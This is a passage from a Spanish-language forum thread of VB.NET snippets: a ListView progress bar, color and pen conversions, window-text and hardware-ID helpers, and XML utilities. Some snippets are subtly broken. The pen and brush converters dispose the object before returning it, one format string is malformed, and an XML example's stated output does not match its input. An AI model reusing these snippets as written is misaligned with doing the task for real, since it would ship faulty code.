  364.    Public Property Percent_Text As String
  365.        Get
  366.            Return _percent_text
  367.        End Get
  368.        Set(ByVal value As String)
  369.            _percent_text = value
  370.        End Set
  371.    End Property
  372.  
  373.    ''' <summary>
  374.    ''' The ForeColor of the ProgressBar Percent Text
  375.    ''' </summary>
  376.    Public Property Percent_Forecolor As Color
  377.        Get
  378.            Return _percent_forecolor.Color
  379.        End Get
  380.        Set(ByVal value As Color)
  381.            _percent_forecolor = New SolidBrush(value)
  382.        End Set
  383.    End Property
  384.  
  385.    ''' <summary>
  386.    ''' The text allignment to use for the ProgressBar
  387.    ''' </summary>
  388.    Public Property Percent_Text_Allignment As StringAlignment
  389.        Get
  390.            Return _percent_stringformat.Alignment
  391.        End Get
  392.        Set(ByVal value As StringAlignment)
  393.            _percent_stringformat.Alignment = value
  394.        End Set
  395.    End Property
  396.  
  397.    ''' <summary>
  398.    ''' The ProgressBar BackColor
  399.    ''' </summary>
  400.    Public Property ProgressBar_BackColor As Color
  401.        Get
  402.            Return _progressBar_backcolor.Color
  403.        End Get
  404.        Set(ByVal value As Color)
  405.            _progressBar_backcolor = New SolidBrush(value)
  406.        End Set
  407.    End Property
  408.  
  409.    ''' <summary>
  410.    ''' The ProgressBar BorderColor
  411.    ''' </summary>
  412.    Public Property ProgressBar_BorderColor As Color
  413.        Get
  414.            Return _progressBar_bordercolor.Color
  415.        End Get
  416.        Set(ByVal value As Color)
  417.            _progressBar_bordercolor = New Pen(value)
  418.        End Set
  419.    End Property
  420.  
  421.    ''' <summary>
  422.    ''' The First ProgressBar Gradient color
  423.    ''' </summary>
  424.    Public Property ProgressBar_FillColor1 As Color
  425.        Get
  426.            Return _progressBar_fillcolor1
  427.        End Get
  428.        Set(ByVal value As Color)
  429.            _progressBar_fillcolor1 = value
  430.        End Set
  431.    End Property
  432.  
  433.    ''' <summary>
  434.    ''' The Last ProgressBar Gradient color
  435.    ''' </summary>
  436.    Public Property ProgressBar_FillColor2 As Color
  437.        Get
  438.            Return _progressBar_fillcolor2
  439.        End Get
  440.        Set(ByVal value As Color)
  441.            _progressBar_fillcolor2 = value
  442.        End Set
  443.    End Property
  444.  
  445. #End Region
  446.  
  447. #Region " ProgressBar EventHandlers "
  448.  
  449.    ' ListView [DrawColumnHeader]
  450.    Public Sub Me_DrawColumnHeader(ByVal sender As Object, ByVal e As DrawListViewColumnHeaderEventArgs) Handles Me.DrawColumnHeader
  451.  
  452.        e.DrawDefault = True ' Draw default ColumnHeader.
  453.  
  454.    End Sub
  455.  
  456.    ' ListView [DrawItem]
  457.    Public Sub Me_DrawItem(ByVal sender As Object, ByVal e As DrawListViewItemEventArgs) 'Handles Me.DrawItem
  458.  
  459.        e.DrawDefault = False ' Draw default main item.
  460.  
  461.    End Sub
  462.  
  463.    ' ListView [DrawSubItem]
  464.    Public Sub Me_DrawSubItem(ByVal sender As Object, ByVal e As DrawListViewSubItemEventArgs) Handles Me.DrawSubItem
  465.  
  466.        If (e.ItemState And ListViewItemStates.Selected) <> 0 Then
  467.            ' Item is highlighted.
  468.            e.Graphics.FillRectangle(SystemBrushes.Highlight, e.Bounds)
  469.        End If
  470.  
  471.        ' Draw the progressbar.
  472.        If e.ColumnIndex = Me.Progressbar_Column Then
  473.  
  474.            If (Not Me.Enable_ProgressBar OrElse Me.Progressbar_Column = Nothing) Then Exit Sub
  475.  
  476.            ' Background color of the progressbar is white.
  477.            e.Graphics.FillRectangle(Me._progressBar_backcolor, e.Bounds)
  478.  
  479.            ' This creates a nice color gradient to fill.
  480.            Dim brGradient As Brush = _
  481.                New System.Drawing.Drawing2D.LinearGradientBrush(New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height), _
  482.                                                                 Me.ProgressBar_FillColor1, Me.ProgressBar_FillColor2, 270, True)
  483.            ' Draw the actual progressbar.
  484.            e.Graphics.FillRectangle(brGradient, _
  485.                                     e.Bounds.X + 1, e.Bounds.Y + 2, _
  486.                                     CInt(((Me.Percent) / 100) * (e.Bounds.Width - 2)), e.Bounds.Height - 3)
  487.  
  488.            ' Draw the percentage number and percent sign.
  489.            e.Graphics.DrawString(Me.Percent.ToString("n" & Me.Percent_Decimal) & Me.Percent_Text, _
  490.                                  Me.Percent_Font, Me._percent_forecolor, _
  491.                                  CSng(e.Bounds.X + (e.Bounds.Width / 2)), e.Bounds.Y + 3, _
  492.                                  _percent_stringformat)
  493.  
  494.            ' Draw a light gray rectangle/border around the progressbar.
  495.            e.Graphics.DrawRectangle(Me._progressBar_bordercolor, _
  496.                                     e.Bounds.X, e.Bounds.Y + 1, _
  497.                                     e.Bounds.Width - 1, e.Bounds.Height - 2)
  498.        Else
  499.            e.DrawDefault = True
  500.  
  501.        End If
  502.  
  503.    End Sub
  504.  
  505. #End Region
  506.  
  507. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Octubre 2013, 16:13 pm
Unas sencillas funciones para convertir pluma/brocha a color, y viceversa.

Código
  1. #Region " Color To Pen "
  2.  
  3.    ' [ Color To Pen ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Color_To_Pen(Color.Red).Color.Name) ' Result: Red
  9.  
  10.    Private Function Color_To_Pen(ByVal color As Color) As Pen
  11.  
  12.        Dim _pen As Pen = Nothing
  13.  
  14.        Try
  15.            _pen = New Pen(color)
  16.            Return _pen
  17.  
  18.        Catch ex As Exception
  19.            Throw New Exception(ex.Message)
  20.            Return Nothing
  21.  
  22.        Finally
  23.            If _pen IsNot Nothing Then _pen.Dispose()
  24.  
  25.        End Try
  26.  
  27.    End Function
  28.  
  29. #End Region

Código
  1. #Region " Color To SolidBrush "
  2.  
  3.    ' [ Color To SolidBrush ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Color_To_SolidBrush(Color.Red).Color.Name) ' Result: Red
  9.  
  10.    Private Function Color_To_SolidBrush(ByVal color As Color) As SolidBrush
  11.  
  12.        Dim _brush As SolidBrush = Nothing
  13.  
  14.        Try
  15.            _brush = New SolidBrush(color)
  16.            Return _brush
  17.  
  18.        Catch ex As Exception
  19.            Throw New Exception(ex.Message)
  20.            Return Nothing
  21.  
  22.        Finally
  23.            If _brush IsNot Nothing Then _brush.Dispose()
  24.  
  25.        End Try
  26.  
  27.    End Function
  28.  
  29. #End Region

Código
  1. #Region " Pen To Color "
  2.  
  3.    ' [ Pen To Color ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Pen_To_Color(New Pen(Color.Red)).Name) ' Result: Red
  9.  
  10.    Private Function Pen_To_Color(ByVal pen As Pen) As Color
  11.        Return pen.Color
  12.    End Function
  13.  
  14. #End Region

Código
  1. #Region " SolidBrush To Color "
  2.  
  3.    ' [ SolidBrush To Color ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(SolidBrush_To_Color(New SolidBrush(Color.Red)).Name) ' Result: Red
  9.  
  10.    Private Function SolidBrush_To_Color(ByVal brush As SolidBrush) As Color
  11.        Return brush.Color
  12.    End Function
  13.  
  14. #End Region





Y otra sencilla función para parsear un valor de una enumeración:

Código
  1.    #Region " Enum Parser "
  2.  
  3.       ' [ Enum Parser ]
  4.       '
  5.       ' // By Elektro H@cker
  6.       '
  7.       ' Examples :
  8.       '
  9.       ' MsgBox(Enum_Parser(Of Keys)(65).ToString) ' Result: A
  10.       ' MsgBox(Enum_Parser(Of Keys)("A").ToString) ' Result: A
  11.       ' TextBox1.BackColor = Color.FromKnownColor(Enum_Parser(Of KnownColor)("Red"))
  12.  
  13.    Private Function Enum_Parser(Of T)(Value As Object) As T
  14.  
  15.        Try
  16.            Return [Enum].Parse(GetType(T), Value, True)
  17.  
  18.        Catch ex As ArgumentException
  19.            Throw New Exception("Enum value not found")
  20.  
  21.        Catch ex As Exception
  22.            Throw New Exception(String.Format("{0}: {1}}", _
  23.                                ex.Message, ex.StackTrace))
  24.  
  25.        End Try
  26.  
  27.    End Function
  28.  
  29.    #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Octubre 2013, 19:23 pm
Otra función simple, que devuelve las medidas de la fuente de texto:

Código
  1. #Region " Get Text Measure "
  2.  
  3.    ' [ Get Text Measure ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Get_Text_Measure("Hello World!", New Font(New FontFamily("Lucida Console"), 12)).Width)  ' Result: 127
  10.    ' MsgBox(Get_Text_Measure("Hello World!", New Font(New FontFamily("Lucida Console"), 12)).Height) ' Result: 16
  11.  
  12.    Private Function Get_Text_Measure(ByVal text As String, ByVal font As Font) As SizeF
  13.        Return TextRenderer.MeasureText(text, font)
  14.    End Function
  15.  
  16. #End Region





Esta función obtiene el texto de una ventana, pasándole como parámetro el handle de dicha ventana:

Código
  1. #Region " Get Window Text "
  2.  
  3.    ' [ Get Window Text ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim str as String = Get_Window_Text(hwnd)
  9.  
  10.    <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  11.    Private Shared Function GetWindowText(ByVal hwnd As IntPtr, ByVal lpString As System.Text.StringBuilder, ByVal cch As Integer) As Integer
  12.    End Function
  13.  
  14.    <System.Runtime.InteropServices.DllImport("user32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  15.    Private Shared Function GetWindowTextLength(ByVal hwnd As IntPtr) As Integer
  16.    End Function
  17.  
  18.    Public Function Get_Window_Text(ByVal hWnd As IntPtr) As String
  19.  
  20.        If hWnd = IntPtr.Zero Then : Return Nothing
  21.  
  22.        Else
  23.  
  24.            Dim length As Integer = GetWindowTextLength(hWnd)
  25.  
  26.            If length = 0 Then
  27.                Return Nothing
  28.            End If
  29.  
  30.            Dim sb As New System.Text.StringBuilder("", length)
  31.  
  32.            GetWindowText(hWnd, sb, sb.Capacity + 1)
  33.            Return sb.ToString()
  34.  
  35.        End If
  36.  
  37.    End Function
  38.  
  39. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 24 Octubre 2013, 13:57 pm
Con este código podemos heredar un TextBox y averiguar la opción que ha elegido el usuario en el CMT por defecto de Windows.

El código original no es mio, pero lo he adaptado apra que funcione corréctamente la opción "Cut", y le he añadido la constande de "Delete".

Modo de empleo:

Código
  1.    Private Sub TextBox1_OnTextCommand(sender As Object, e As MyTextBox.ContextCommandEventArgs) _
  2.    Handles MyTextBox1.OnCut, MyTextBox1.OnPaste, MyTextBox1.OnCopy, MyTextBox1.OnDelete
  3.  
  4.        MessageBox.Show("Activated " & e.Command.ToString())
  5.  
  6.    End Sub

Código
  1. Class MyTextBox : Inherits TextBox
  2.  
  3.    Private Last_Command As ContextCommands = Nothing
  4.  
  5.    Private WithEvents CopyOrCut_Timer As New Timer _
  6.            With {.Interval = 5, .Enabled = False}
  7.  
  8.    Public Enum ContextCommands
  9.        WM_CUT = &H300
  10.        WM_COPY = &H301
  11.        WM_PASTE = &H302
  12.        WM_DELETE = &H303
  13.    End Enum
  14.  
  15.    Public Class ContextCommandEventArgs
  16.        Inherits EventArgs
  17.        Public Property Command As ContextCommands
  18.    End Class
  19.  
  20.    Event OnCut(sender As Object, e As ContextCommandEventArgs)
  21.    Event OnCopy(sender As Object, e As ContextCommandEventArgs)
  22.    Event OnPaste(sender As Object, e As ContextCommandEventArgs)
  23.    Event OnDelete(sender As Object, e As ContextCommandEventArgs)
  24.  
  25.    Protected Overrides Sub WndProc(ByRef m As Message)
  26.  
  27.        MyBase.WndProc(m)
  28.  
  29.        Select Case m.Msg
  30.  
  31.            Case ContextCommands.WM_COPY
  32.                Last_Command = ContextCommands.WM_COPY
  33.                CopyOrCut_Timer.Enabled = True
  34.  
  35.            Case ContextCommands.WM_CUT
  36.                Last_Command = ContextCommands.WM_CUT
  37.  
  38.            Case ContextCommands.WM_PASTE
  39.                RaiseEvent OnPaste(Me, New ContextCommandEventArgs() _
  40.                                       With {.Command = ContextCommands.WM_PASTE})
  41.  
  42.            Case ContextCommands.WM_DELETE
  43.                RaiseEvent OnDelete(Me, New ContextCommandEventArgs() _
  44.                                        With {.Command = ContextCommands.WM_DELETE})
  45.  
  46.        End Select
  47.  
  48.    End Sub
  49.  
  50.    Private Sub Cut_Timer_Tick(sender As Object, e As EventArgs) _
  51.    Handles CopyOrCut_Timer.Tick
  52.  
  53.        sender.enabled = False
  54.  
  55.        Select Case Last_Command
  56.  
  57.            Case ContextCommands.WM_COPY
  58.                RaiseEvent OnCopy(Me, New ContextCommandEventArgs() _
  59.                                      With {.Command = ContextCommands.WM_COPY})
  60.  
  61.            Case ContextCommands.WM_CUT
  62.                RaiseEvent OnCut(Me, New ContextCommandEventArgs() _
  63.                                     With {.Command = ContextCommands.WM_CUT})
  64.  
  65.        End Select
  66.  
  67.        Last_Command = Nothing
  68.  
  69.    End Sub
  70.  
  71. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 25 Octubre 2013, 17:14 pm
Una función genérica para agregar un item a un array de 2 dimensiones

Código
  1. #Region " Add Item Array 2D "
  2.  
  3.    ' [ Add Item Array 2D ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    '// Create an Array 2D (2,2)
  10.    ' Dim MyArray As String(,) = {{"Item 0,0", "Item 0,1"}, {"Item 1,0", "Item 1,1"}, {"Item 2,0", "Item 2,1"}}
  11.    '// Add an Item
  12.    ' Add_Item_Array_2D(MyArray, {"Item 3,0", "Item 3,1"})
  13.  
  14.    Private Sub Add_Item_Array_2D(ByRef Array_2D As String(,), _
  15.                                  ByVal Items As String())
  16.  
  17.        Dim tmp_array(Array_2D.GetUpperBound(0) + 1, Array_2D.GetUpperBound(1)) As String
  18.  
  19.        For x As Integer = 0 To Array_2D.GetUpperBound(0)
  20.            tmp_array(x, 0) = Array_2D(x, 0)
  21.            tmp_array(x, 1) = Array_2D(x, 1)
  22.        Next
  23.  
  24.        For x As Integer = 0 To Items.Count - 1
  25.            tmp_array(tmp_array.GetUpperBound(0), x) = Items(x)
  26.        Next
  27.  
  28.        Array_2D = tmp_array
  29.  
  30.    End Sub
  31.  
  32. #End Region





Un ejemplo de como ordenar un documento XML según un elemento dado:

Código
  1. #Region " Sort XML By Element "
  2.  
  3.    ' [ Sort XML By Element ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Example usage :
  8.    ' Dim XML As XDocument = Sort_XML_By_Element(XDocument.Load("C:\File.xml"), "Song", "Name")
  9.  
  10.    ' Example XML File:
  11.    '
  12.    '<?xml version="1.0" encoding="Windows-1252"?>
  13.    '<Songs>
  14.    '    <Song><Name>My Song 2.mp3</Name><Year>2007</Year></Song>
  15.    '    <Song><Name>My Song 1.mp3</Name><Year>2009</Year></Song>
  16.    '    <Song><Name>My Song 3.mp3</Name><Year>2008</Year></Song>
  17.    '</Songs>
  18.  
  19.    ' Example output:
  20.    '
  21.    '<?xml version="1.0" encoding="Windows-1252"?>
  22.    '<Songs>
  23.    '    <Song><Name>My Song 1.mp3</Name><Year>2009</Year></Song>
  24.    '    <Song><Name>My Song 2.mp3</Name><Year>2007</Year></Song>
  25.    '    <Song><Name>My Song 3.mp3</Name><Year>2008</Year></Song>
  26.    '</Songs>
  27.  
  28.    Private Function Sort_XML_By_Element(ByVal XML As XDocument, _
  29.                                     ByVal Root_Element As String, _
  30.                                     ByVal Element_to_sort As String) As XDocument
  31.  
  32.        Dim xdoc As XDocument
  33.  
  34.        Try
  35.  
  36.            xdoc = XML
  37.            xdoc.Root.ReplaceNodes(XML.Root.Elements(Root_Element) _
  38.                                  .OrderBy(Function(sort) sort.Element(Element_to_sort).Value))
  39.  
  40.            Return xdoc
  41.  
  42.        Catch ex As Exception
  43.            Throw New Exception(ex.Message)
  44.  
  45.        Finally
  46.            xdoc = Nothing
  47.  
  48.        End Try
  49.  
  50.    End Function
  51.  
  52. #End Region





Un ejemplo de como convertir los elementos de un documento XML a un type anónimo:

Código
  1. #Region " Convert XML to Anonymous Type "
  2.  
  3.        'Dim xml As XDocument = XDocument.Load(xmlfile)
  4.  
  5.        Dim xml As XDocument = _
  6.        <?xml version="1.0" encoding="Windows-1252"?>
  7.        <!--XML Songs Database.-->
  8.        <Songs>
  9.            <Song><Name>My Song 1.mp3</Name><Year>2007</Year><Genre>Dance</Genre><Bitrate>320</Bitrate><Length>04:55</Length><Size>4,80</Size></Song>
  10.            <Song><Name>My Song 2.mp3</Name><Year>2009</Year><Genre>Electro</Genre><Bitrate>192</Bitrate><Length>06:44</Length><Size>8,43</Size></Song>
  11.            <Song><Name>My Song 3.mp3</Name><Year>2008</Year><Genre>UK Hardcore</Genre><Bitrate>128</Bitrate><Length>05:12</Length><Size>4,20</Size></Song>
  12.        </Songs>
  13.  
  14.        Dim SongsList = From song In xml.<Songs>.<Song>
  15.                        Select New With { _
  16.                                          song.<Name>.Value,
  17.                                          song.<Year>.Value,
  18.                                          song.<Genre>.Value,
  19.                                          song.<Bitrate>.Value,
  20.                                          song.<Length>.Value,
  21.                                          song.<Size>.Value _
  22.                                       }
  23.  
  24.        For Each song In SongsList
  25.  
  26.            MsgBox(String.Format("Name:{1}{0}Year:{2}{0}Genre:{3}{0}Bitrate:{4}{0}Length:{5}{0}Size:{6}", _
  27.                                 Environment.NewLine, _
  28.                                 song.Name, song.Year, song.Genre, song.Bitrate, song.Length, song.Size))
  29.  
  30.            ' Output:
  31.            '
  32.            'Name:My Song 1.mp3
  33.            'Year:2007
  34.            'Genre:Dance
  35.            'Bitrate:320
  36.            'Length:04:55
  37.            'Size:4,80
  38.  
  39.        Next
  40.  
  41. #End Region





Un ejemplo de como convertir los elementos de un documento XML a Tuplas

Código
  1. #Region " Convert XML to IEnumerable(Of Tuple) "
  2.  
  3.        'Dim xml As XDocument = XDocument.Load(xmlfile)
  4.  
  5.        Dim xml As XDocument = _
  6.        <?xml version="1.0" encoding="Windows-1252"?>
  7.        <!--XML Songs Database.-->
  8.        <Songs>
  9.            <Song><Name>My Song 1.mp3</Name><Year>2007</Year><Genre>Dance</Genre><Bitrate>320</Bitrate><Length>04:55</Length><Size>4,80</Size></Song>
  10.            <Song><Name>My Song 2.mp3</Name><Year>2009</Year><Genre>Electro</Genre><Bitrate>192</Bitrate><Length>06:44</Length><Size>8,43</Size></Song>
  11.            <Song><Name>My Song 3.mp3</Name><Year>2008</Year><Genre>UK Hardcore</Genre><Bitrate>128</Bitrate><Length>05:12</Length><Size>4,20</Size></Song>
  12.        </Songs>
  13.  
  14.        Dim SongsList As IEnumerable(Of Tuple(Of String, String, String, String, String, String)) = _
  15.            From song In xml.<Songs>.<Song>
  16.            Select Tuple.Create( _
  17.                                 song.<Name>.Value,
  18.                                 song.<Year>.Value,
  19.                                 song.<Genre>.Value,
  20.                                 song.<Bitrate>.Value,
  21.                                 song.<Length>.Value,
  22.                                 song.<Size>.Value _
  23.                               )
  24.  
  25.        For Each song In SongsList
  26.  
  27.            MsgBox(String.Format("Name:{1}{0}Year:{2}{0}Genre:{3}{0}Bitrate:{4}{0}Length:{5}{0}Size:{6}", _
  28.                                 Environment.NewLine, _
  29.                                 song.Item1, song.Item2, song.Item3, song.Item4, song.Item5, song.Item6))
  30.  
  31.            ' Output:
  32.            '
  33.            'Name:My Song 1.mp3
  34.            'Year:2007
  35.            'Genre:Dance
  36.            'Bitrate:320
  37.            'Length:04:55
  38.            'Size:4,80
  39.  
  40.        Next
  41.  
  42. #End Region





Un ejemplo de como usar Arrays 2D

Código
  1.        ' Create Array 2D (2,2)
  2.        Dim MyArray As String(,) = {{"Item 0,0", "Item 0,1"}, {"Item 1,0", "Item 1,1"}, {"Item 2,0", "Item 2,1"}}
  3.  
  4.        ' Set value
  5.        MyArray(0, 1) = "New Item 0,1"
  6.  
  7.        ' Get Value
  8.        MsgBox(MyArray(0, 1))
  9.  
  10.        ' Loop over the Array 2D
  11.        For x As Integer = 0 To MyArray.GetUpperBound(0)
  12.            MsgBox(String.Format("Array 2D {1},0: {2}{0}Array 2D {1},1: {3}", Environment.NewLine, _
  13.                                x, MyArray(x, 0), MyArray(x, 1)))
  14.        Next





Un ejemplo de como crear un Type propio:

Código
  1.    Public Class Type1
  2.  
  3.        Private _Name As String
  4.        Private _Age As Short
  5.  
  6.        Public Property Name() As String
  7.            Get
  8.                Return _Name
  9.            End Get
  10.            Set(ByVal value As String)
  11.                _Name = value
  12.            End Set
  13.        End Property
  14.  
  15.        Public Property Age() As Short
  16.            Get
  17.                Return _Age
  18.            End Get
  19.            Set(ByVal value As Short)
  20.                _Age = value
  21.            End Set
  22.        End Property
  23.  
  24.    End Class
  25.  
  26.    'Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  27.    '
  28.    '    ' Create a list of our own Type and add Elements:
  29.    '    Dim Contacts As New List(Of Type1) From { _
  30.    '        New Type1 With {.Name = "Lucia", .Age = 19}, _
  31.    '        New Type1 With {.Name = "Pepe", .Age = 40} _
  32.    '    }
  33.    '
  34.    '    ' Add another Element
  35.    '    Contacts.Add(New Type1 With {.Name = "Pablo", .Age = 32})
  36.    '
  37.    '    ' Find an Element:
  38.    '    Dim Contact As Type1 = Contacts.Find(Function(x) x.Name = "Lucia")
  39.    '
  40.    '    ' Display Element members:
  41.    '    MsgBox(String.Format("Name: {1}{0}Age: {2}", _
  42.    '                         Environment.NewLine, _
  43.    '                         Contact.Name, Contact.Age))
  44.    '
  45.    '    ' Loop over all Elements:
  46.    '    For Each Element As Type1 In Contacts
  47.    '        MsgBox(String.Format("Name: {1}{0}Age: {2}", _
  48.    '                        Environment.NewLine, _
  49.    '                        Element.Name, Element.Age))
  50.    '    Next
  51.    '
  52.    'End Sub




Una función genérica para obtener el serial de la CPU
(Este snippet fue de los primeros que posteé, le he dado un repaso al código)

Código
  1.    #Region " Get CPU ID "
  2.  
  3.       ' [ Get CPU ID ]
  4.       '
  5.       '// By Elektro H@cker
  6.       '
  7.       ' INSTRUCTIONS:
  8.       ' 1. Add a reference to "System.Management"
  9.       '
  10.       ' Examples :
  11.       ' Dim ProcID As String = Get_CPU_ID()
  12.       ' MsgBox(Get_CPU_ID())
  13.  
  14.    Private Function Get_CPU_ID() As String
  15.  
  16.        Dim wmi As Management.ManagementObjectSearcher = _
  17.            New Management.ManagementObjectSearcher("select * from Win32_Processor")
  18.  
  19.        Dim val As String = wmi.Get(0)("ProcessorID")
  20.  
  21.        wmi.Dispose()
  22.  
  23.        Return val.ToString
  24.  
  25.    End Function
  26.  
  27.    #End Region





Una función genérica para obtener el serial de la placa base
(Este snippet fue de los primeros que posteé, le he dado un repaso al código)

Código
  1.    #Region " Get Motherboard ID "
  2.  
  3.       ' [ Get Motherboard ID ]
  4.       '
  5.       '// By Elektro H@cker
  6.       '
  7.       ' INSTRUCTIONS:
  8.       ' 1. Add a reference to "System.Management"
  9.       '
  10.       ' Examples :
  11.       ' Dim MotherID As String = Get_Motherboard_ID()
  12.       ' MsgBox(Get_Motherboard_ID())
  13.  
  14.    Private Function Get_Motherboard_ID() As String
  15.  
  16.        Dim wmi As Management.ManagementObjectSearcher = _
  17.            New Management.ManagementObjectSearcher("select * from Win32_BaseBoard")
  18.  
  19.        Dim val As String = wmi.Get(0)("SerialNumber")
  20.  
  21.        wmi.Dispose()
  22.  
  23.        Return val
  24.  
  25.    End Function
  26.  
  27.    #End Region





Y por último, unos ejemplos muy sencillos de como manejar un documento XML (sencillo)...
(Uso un XMLTextWritter en lugar de un XMLWriter por la libertad de indentación)

Código
  1. ' [ Song XML Writer Helper ]
  2. '
  3. ' // By Elektro H@cker
  4. '
  5. ' Example usage :
  6. '
  7. 'Private Sub Test()
  8. '
  9. '    ' Set an XML file to create
  10. '    Dim xmlfile As String = "C:\My XML File.xml"
  11. '
  12. '    ' Create the XmlWriter object
  13. '    Dim XmlWriter As Xml.XmlTextWriter = _
  14. '        New Xml.XmlTextWriter(xmlfile, System.Text.Encoding.Default) _
  15. '        With {.Formatting = Xml.Formatting.Indented}
  16. '
  17. '    ' Write the Xml declaration.
  18. '    XMLHelper.Write_Beginning(XmlWriter)
  19. '    ' Output at this point:
  20. '    ' <?xml version="1.0" encoding="Windows-1252"?>
  21. '
  22. '    ' Write a comment.
  23. '    XMLHelper.Write_Comment(XmlWriter, "XML Songs Database", Xml.Formatting.Indented)
  24. '    ' Output at this point:
  25. '    ' <!--XML Songs Database-->
  26. '
  27. '    ' Write the root element.
  28. '    XMLHelper.Write_Beginning_Root_Element(XmlWriter, "Songs", Xml.Formatting.Indented)
  29. '    ' Output at this point:
  30. '    ' <Songs>
  31. '
  32. '    ' Write the start of a song element.
  33. '    XMLHelper.Write_Beginning_Root_Element(XmlWriter, "Song", Xml.Formatting.Indented)
  34. '    ' Output at this point:
  35. '    ' <Song>
  36. '
  37. '    ' Write a song element.
  38. '    XMLHelper.Write_Elements(XmlWriter, { _
  39. '                                         {"Name", "My Song file.mp3"}, _
  40. '                                         {"Year", "2013"}, _
  41. '                                         {"Genre", "Rock"} _
  42. '                                        }, Xml.Formatting.None)        
  43. '    ' Output at this point:
  44. '    ' <Name>My Song file.mp3</Name><Year>2007</Year><Genre>Dance</Genre>
  45. '
  46. '    ' Write the end of a song element.
  47. '    XMLHelper.Write_End_Root_Element(XmlWriter, Xml.Formatting.None)
  48. '    ' Output at this point:
  49. '    ' </Song>
  50. '
  51. '    ' Write the end of the Root element.
  52. '    XMLHelper.Write_End_Root_Element(XmlWriter, Xml.Formatting.Indented)
  53. '    ' Output at this point:
  54. '    ' </Songs>
  55. '
  56. '    ' Write the xml end of file.
  57. '    XMLHelper.Write_End(XmlWriter)
  58. '
  59. '    ' Start the file and exit
  60. '    Process.Start(xmlfile) : Application.Exit()
  61. '
  62. '    ' Final output:
  63. '    '
  64. '    '<?xml version="1.0" encoding="Windows-1252"?>
  65. '    '<!--XML Songs Database-->
  66. '    '<Songs>
  67. '    '  <Song><Name>My Song file.mp3</Name><Year>2007</Year><Genre>Dance</Genre></Song>
  68. '    '</Songs>
  69. '
  70. 'End Sub
  71.  
  72. #Region " XML Helper "
  73.  
  74. Class XMLHelper
  75.  
  76.    ''' <summary>
  77.    ''' Writes the Xml beginning declaration.
  78.    ''' </summary>
  79.    Shared Sub Write_Beginning(ByVal XmlWriter As Xml.XmlTextWriter)
  80.  
  81.        Try
  82.            XmlWriter.WriteStartDocument()
  83.  
  84.        Catch ex As InvalidOperationException
  85.            Dim errormsg As String = "This is not the first write method called after the constructor. "
  86.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  87.            ' MessageBox.Show(errormsg)
  88.  
  89.        Catch ex As Exception
  90.            Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
  91.  
  92.        End Try
  93.  
  94.    End Sub
  95.  
  96.    ''' <summary>
  97.    ''' Writes a comment.
  98.    ''' </summary>
  99.    Shared Sub Write_Comment(ByVal XmlWriter As Xml.XmlTextWriter, _
  100.                                  ByVal Comment As String, _
  101.                                  Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
  102.  
  103.        Try
  104.            XmlWriter.Formatting = Indentation
  105.            XmlWriter.WriteComment(Comment)
  106.            XmlWriter.Formatting = Not Indentation
  107.  
  108.        Catch ex As ArgumentException
  109.            Dim errormsg As String = "The text would result in a non-well formed XML document"
  110.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  111.            ' MessageBox.Show(errormsg)
  112.  
  113.        Catch ex As InvalidOperationException
  114.            Dim errormsg As String = "The ""WriteState"" property is Closed"
  115.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  116.            ' MessageBox.Show(errormsg)
  117.  
  118.        Catch ex As Exception
  119.            Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
  120.  
  121.        End Try
  122.  
  123.    End Sub
  124.  
  125.    ''' <summary>
  126.    ''' Writes the beginning of a root element.
  127.    ''' </summary>
  128.    Shared Sub Write_Beginning_Root_Element(ByVal XmlWriter As Xml.XmlTextWriter, _
  129.                                                 ByVal Element As String, _
  130.                                                 Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
  131.  
  132.        Try
  133.            XmlWriter.Formatting = Indentation
  134.            XmlWriter.WriteStartElement(Element)
  135.            XmlWriter.Formatting = Not Indentation
  136.  
  137.        Catch ex As System.Text.EncoderFallbackException
  138.            Dim errormsg As String = "There is a character in the buffer that is a valid XML character but is not valid for the output encoding."
  139.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  140.            ' MessageBox.Show(errormsg)
  141.  
  142.        Catch ex As InvalidOperationException
  143.            Dim errormsg As String = "The XmlTextWriter is closed or An XmlTextWriter method was called before a previous asynchronous operation finished."
  144.            Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
  145.            ' MessageBox.Show(errormsg)
  146.  
  147.        Catch ex As Exception
  148.            Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
  149.  
  150.        End Try
  151.  
  152.    End Sub
  153.  
  154.    ''' <summary>
  155.    ''' Writes the end of a root element.
  156.    ''' </summary>
  157.    Shared Sub Write_End_Root_Element(ByVal XmlWriter As Xml.XmlTextWriter, _
  158.                                           Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
  159.  
  160.        Try
  161.            XmlWriter.Formatting = Indentation
  162.            XmlWriter.WriteEndElement()
